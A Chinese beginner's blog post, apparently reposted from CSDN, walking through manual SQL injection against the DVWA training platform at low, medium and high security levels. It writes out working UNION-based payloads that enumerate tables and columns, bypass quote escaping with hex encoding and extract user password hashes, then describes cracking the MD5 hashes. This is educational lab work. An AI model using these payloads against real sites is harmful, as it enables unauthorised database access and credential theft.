小白谈SQL注入(二)

小白浅谈SQL注入(二)


当你的才华

还撑不起的野心时
那你就应该静下心来学习


今天我们来实战(大佬勿喷)
这里我们使用dvwa进行实战。

实战坏境
下载DVWA 渗透演练平台,Dvwa是用php语言写的安全测试平台,所以我们先要创建一个php开发集成环境。我们可以采用最简单的方法,只要安装上phpstudy,就安装了php开发集成环境。
首先将DVWA解压在phpstudy的WWW目录中,
在这里插入图片描述然后打开config,把config.inc.php.list改为config.inc.php,用记事本打开,修改配置。
在这里插入图片描述然后打开(打开过程就不细说了),登陆(应户名:admin,密码:password)。

然后…开始正题。

dvwa之sql注入学习(不同级别)


等级(low)

在这里插入图片描述
在这里插入图片描述
从页面上看到,有一个可以提交查询内容的地方

我们可以通过以下步骤开始注入

1.判断这里是否存在注入点

  • 输入1,提交
    在这里插入图片描述
  • 输入1’,提交
    在这里插入图片描述
  • 输入1 and 1=1,提交

在这里插入图片描述

  • 输入 1 and 1=2,提交
    在这里插入图片描述

从以上可以看出是存在注入点的,

2.判断字段数(二分法常用)

输入 1’ order by 3# 返回错误
在这里插入图片描述

输入 1’ order by 2# 返回正常
在这里插入图片描述
说明字段数为2

3.判断回显点
输入 1’ union select 1,2#
在这里插入图片描述
4.判断数据库版本和数据库名
输入 1’ union select 1,concat(version(),’:’,database())#
在这里插入图片描述
显示当前数据库版本5.5 数据库为dvwa
版本5.5说明有一个系统表 information_schema.tables 该表存着数据库所有表的名字

5.接下来就是重头戏了
在这里插入图片描述在这里插入图片描述

  • 爆表试一试
    输入 1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#在这里插入图片描述
    其中users就比较敏感了。

  • 爆出表users下的列

    输入 1’ union select 1,column_name from information_schema.columns where table_name=‘users’#
    在这里插入图片描述
    也可以这样 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
    在这里插入图片描述可以看出有好多的列,但是重要的应该是user列和password列,我们爆出这两列的字段内容

  • 爆出user 和password
    输入 1’ union select 1,concat(user,":",password) from users#
    在这里插入图片描述


等级(Medium)

  1. 打开一看,发现…点提交试试
    在这里插入图片描述
    别慌
    在这里插入图片描述
    这里
    在这里插入图片描述

发现不是get注入,应该是把提交的数据存放到post数据中了.
然后直接burp抓包

改为 1’ ,直接报错
在这里插入图片描述改为 1 and 1=1,返回正常
在这里插入图片描述

改为 1 and 1=2 ,返回不报错但显示异常
在这里插入图片描述
可以判定为数字型注入
2.以往操作判断字段数
order by 3报错
在这里插入图片描述order by 2,正常
在这里插入图片描述字段数为2
3. 判断回显点 (与low等级相同)
4.报数据库名 (与low等级相同)库名dvwa
5. 爆表
改为id=1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’&Submit=Submit,发现

在这里插入图片描述右边报错信息与自己所写语句不一致,(因为单引号被转义了)
我们来查看源码
发现有一个函数mysqli_real_escape_string
于是百度一波在这里插入图片描述然后我们可以这样id=1 union select 1,table_name from information_schema.tables where table_schema=database()&Submit=Submit
在这里插入图片描述接下来爆出表中的列
发现这就尴尬了’users’用啥来代替呢
这是我们就可以把users转为16进制数来绕过
在这里插入图片描述
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273&Submit=Submit
在这里插入图片描述

获取user和password
id=1 union select 1,concat(user,password) from users&Submit=Submit
在这里插入图片描述over!!!


等级(high)
在这里插入图片描述首先查看下源代码
在这里插入图片描述High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,我们直接最后一步
1’ union select user,password from users#
在这里插入图片描述
在这里插入图片描述等级( impossible)

查看源代码
在这里插入图片描述

采用了PDO技术,划清了代码与数据的界限,从而有效地防御SQL注入; 且只有当返回的查询结果数量为1时,才会输出。
解法还不会…


一般密码是通过md5加密的,现在试试解密一下
在这里插入图片描述解密完成。



在这里插入图片描述
你不需要很厉害才能开始,但你需要开始才能很厉害,共勉。


发布了4 篇原创文章 · 获赞 3 · 访问量 244

猜你喜欢

转载自blog.csdn.net/x519461623/article/details/103340785